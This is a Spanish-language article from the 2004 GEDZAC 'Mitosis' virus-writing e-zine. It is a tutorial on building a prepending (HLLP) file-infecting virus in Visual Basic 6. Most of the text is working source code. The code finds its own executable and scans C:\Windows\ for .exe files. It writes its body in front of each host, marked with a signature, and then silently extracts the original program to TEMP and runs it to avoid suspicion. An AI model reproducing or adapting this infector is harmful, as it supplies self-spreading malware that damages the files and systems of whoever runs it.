(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema          : Infeccin de ejecutables en VB 6
Autor         : Falckon
Vlido para   : Microsoft Visual Basic 6
Fecha         : 12/11/03
Nivel         : medio - avanzado (no 1337 por favor)

Para la Mitosis E-zine GEDZAC #2 y la CUM (Comunidad Underground de Mxico)
---------------------------------------------------------------------------------
Este texto est basado en uno que hice hace unos meses, solo que lo he reescrito,
ya que el  anterior nunca lo termin y faltaron detalles, espero que este sea ms
entendible, cabe destacar que yo  no escribo artculos, as que me cuesta trabajo
realizar el siguiente, espero ser lo mas entendible posible y si no me entienden,
debern estudiar los cdigos creo que eso lo entendern mejor, ms que mi
explicacin china ;-).


- Introduccin:


El mtodo que aqu voy a  exponer se  trata de infectar ejecutables por el mtodo
prepending, para lo  cual  tu virus se le  denominara "HLLP" (para los que no lo
sepan) esto de los trminos lo expondr despus, para darnos una  idea de como es
este mtodo, e aqu un ejemplo para que lo entiendas:


[-------------]               [-------------]                         Virus
     Virus     [------------->     Host      [---------------->  [-------------]
[-------------]               [-------------]                         Host
                                                                 [-------------] 

Un virus prepending mueve los bits y  bytes  del host hacia al final posicionando
en primer lugar los bits y bytes suyos, as pues el virus toma el control de todo
el host, ejecutandose primero.

* Empezando  a programar

- Determinar la ubicacin de nuestro virus

Nuestra primera tarea ser determinar el lugar donde se ubica nuestro virus:

Private Function guorm()
Dim lugar As String
lugar = App.Path
If Right(lugar, 1) = "\" Then
guorm = lugar + App.EXEName + ".exe"
Else
guorm = lugar + "\" + App.EXEName + ".exe"
End If
End Function

De seguro entenders el cdigo, no habr necesidad de explicarlo.


- Busqueda de archivos ejecutables

Ahora como todo buen virus nos dedicaremos a buscar ejecutables con la  siguiente
funcin que ser  llamada desde el cdigo del virus, la  llamaremos pasndole una
carpeta, la cual nos  devolver una variable con  todos los ejecutables separados
por el siguiente signo:"|" (sin comillas):

Private Function buscando(carpeta As String) As String
Dim cr As String, cx As String
cr = Dir$(carpeta + "*.exe")
While cr <> ""
cx = cx & cr & "|"
cr = Dir$
Wend
buscando = cx
End Function


- Infectando ejecutables

Nuestro siguiente paso ser infectar los archivos que hayamos sacado con la
funcin anterior, esta funcin la llamaremos de la siguiente forma:
Call infectando Folder, archivo
Donde Folder es la carpeta la cual anteriormente elegimos para extraer archivos,
despus pondremos ah el nombre del ejecutable.

Sub infectando(carpeta As String, exejodido)
On Error Resume Next
If carpeta <> "" And exejodido <> "" Then
Dim host As String
Dim firma As String
firma = "GEDZAC"                 '<-------------------firma del virus
Open carpeta + exejodido For Binary Access Read As #1
host = Space(LOF(1))
Get #1, , host
Close #1
If InStr(host, firma) = 0 Then
Dim virus As String
Open guorm For Binary Access Read As #2
virus = Space(24576)             '<----Tamao en Bytes del virus, ver propiedades  
del ejecutable para sacarlo
Get #2, , virus
Close #2
Open carpeta + exejodido For Binary Access Write As #3
Put #3, , virus
Put #3, , host
Put #3, , firma
Close #3
End If
End If
End Sub

Como podemos ver se  comprobar primero  si las  variables  carpeta  y  exejodido
contienen algo, seguidamente se  establece en una variable la firma que identifi-
car a  la especie para  no volver a  infectar un  mismo ejecutable, procedemos a
abrir el archivo  en modo  binario solo para leerlo, despus comprobamos  si este
contiene la firma y  si nos da 0 procederemos a abrir el ejecutable desde el cual
nos encontramos, para eso  llamamos la funcin guorm, despus  especificaremos el
tamao del  virus el cual leeremos, una  vez que nos tengamos ledos procederemos
a volver a  abrir el archivo encontrado, el  cual le escribiremos primeramente la
variable  que contiene el  virus, seguido  del host y la firma, la  estructura de
nuestro nuevo ejecutable deber quedar de esta forma:

[Virus]
[ HOST]
[FIRMA]

(si no me e explicado bien es mejor que estudies el cdigo para comprender)


- Regenerando el host

Cabe mencionar que hasta aqu vamos bien, pero...
muchas personas piensan  que uniendo un ejecutable con otro, los dos se ejecutan,
pero esto  es falso, siempre el  que est de  primero ser ejecutado, el otro no,
as que  tenemos que buscar  la forma de pasar el control al host para as no dar
sospechas  al  usuario de  que a  ejecutado un virus (recuerdo  esto  es solo una
introduccin y aqu  no manejamos API's para la  identificacin de las ventanas y
as eliminar el archivo cuando es cerrado etc.)


El siguiente Sub regenerar el archivo previamente infectado, sea
le pasa el control.


Sub regenerando(ejecutable)
Dim host2 As String
Dim virs As String
Open ejecutable For Binary Access Read As #1
virs = Space(24576)          '<- tamao en bytes del virus, para sacarlo compilar
                             'el ejecutable y ver en propiedades
host2 = Space(LOF(1) - 24576)'<--- le restamos el tamao del virus a todo el host
                             'para que nos quede solo el ejecutable
Get #1, , virs
Get #1, , host2
Close #1
Dim xx, fso As Object
Randomize
xx = Int(Rnd * 100000)
Set fso = CreateObject("Scripting.FileSystemObject")
Open fso.GetSpecialFolder(2) & "\" & xx & ".exe" For Binary Access Write As #2
Put #2, , host2
Close #2
Dim aa
aa = Shell(fso.GetSpecialFolder(2) & "\" & xx & ".exe")
End Sub

Lo primero que  haremos  ser abrir  nuestro  exe y leer el host, randomizamos un
numero  aleatoria mente, llamamos al  objeto  FSO para  sacar el directorio TEMP,
creamos ah un  archivo binario  nuevo y le  escribimos lo previamente ledo, por
ultimo lo ejecutamos.


- Finalizando

- instrucciones imprescindibles para el correcto funcionamiento del virus

Las siguientes subs sern imprescindibles para el funcionamiento de nuestro beb,
lo siguiente ir colocado en el sub form_load:

Dim comp As String
Open guorm For Binary Access Read As #1
comp = Space(LOF(1))
Get #1, , comp
Close #1
If InStr(comp, "GEDZAC") <> 0 Then
regenerando (guorm)
End if

comprobamos si estamos infectados, si es as llamamos al sub regenerando y
empezamos el proceso ya explicado antes.
Ahora bien esto no es todo :

Dim xd, xa, carpeti As String
carpeti = "C:\Windows\"     '<-------- carpeta donde buscaremos los archivos para  
infectar
xd = Split(buscando(carpeti), "|")
For Each xa In xd
infectando carpeti, xa
Next

despus de colocar el cdigo anterior debajo colocaremos este, el cual buscar en
una carpeta  especificada los archivos que vamos  a infectar, luego los coloca en
una  variable  dimensional (Array)  procediendo  a  realizar  un  for  each  para
extraerlas y llamar al sub que infectar nuestros exe's

y esto es todo


- Trminos (para los que no estn enterados)


HLLO = Hight Level Lenguage OverWriting :
                      Virus que sobrescriben archivos para infectarlos

HLLA = Hight Level Lenguage Appending :
                      Virus que infectan archivos pegndose al final del host

HLLP = Hight Level Lenguage Prepending :
                      Virus que infectan archivos pegndose al principio del host

- Despedida

Ya se acab, esto es una introduccin, agradezco las criticas y comentarios tanto
del cdigo como mi  forma de redactar este articulo, ya que no soy un experto :),
agradecimientos especiales para:

Alcopaul (estudi varios de tus codes y te lo agradezco :)
Taer     (Por una CUM cada da mejor)
MachineD (aprend mucho de usted, gracias espero algn da volver a verte)
M*b3l    (a t mas que nada que te quiero :) )
GEDZAC   (por poder estar y llevar el grupo a la cima, animo vamos a salir
          adelante!)

y a quien mas puedo agradecer? a ti, por tomarte la molestia de leer esto, espero
sea de tu agrado y si no ps ya no queda ms que decir.
Hasta la prxima ya con un mejor artculo y una mejor redaccin ;-) se los prometo.

(C) MITOSIS #2 E-Zine/GEDZAC 2004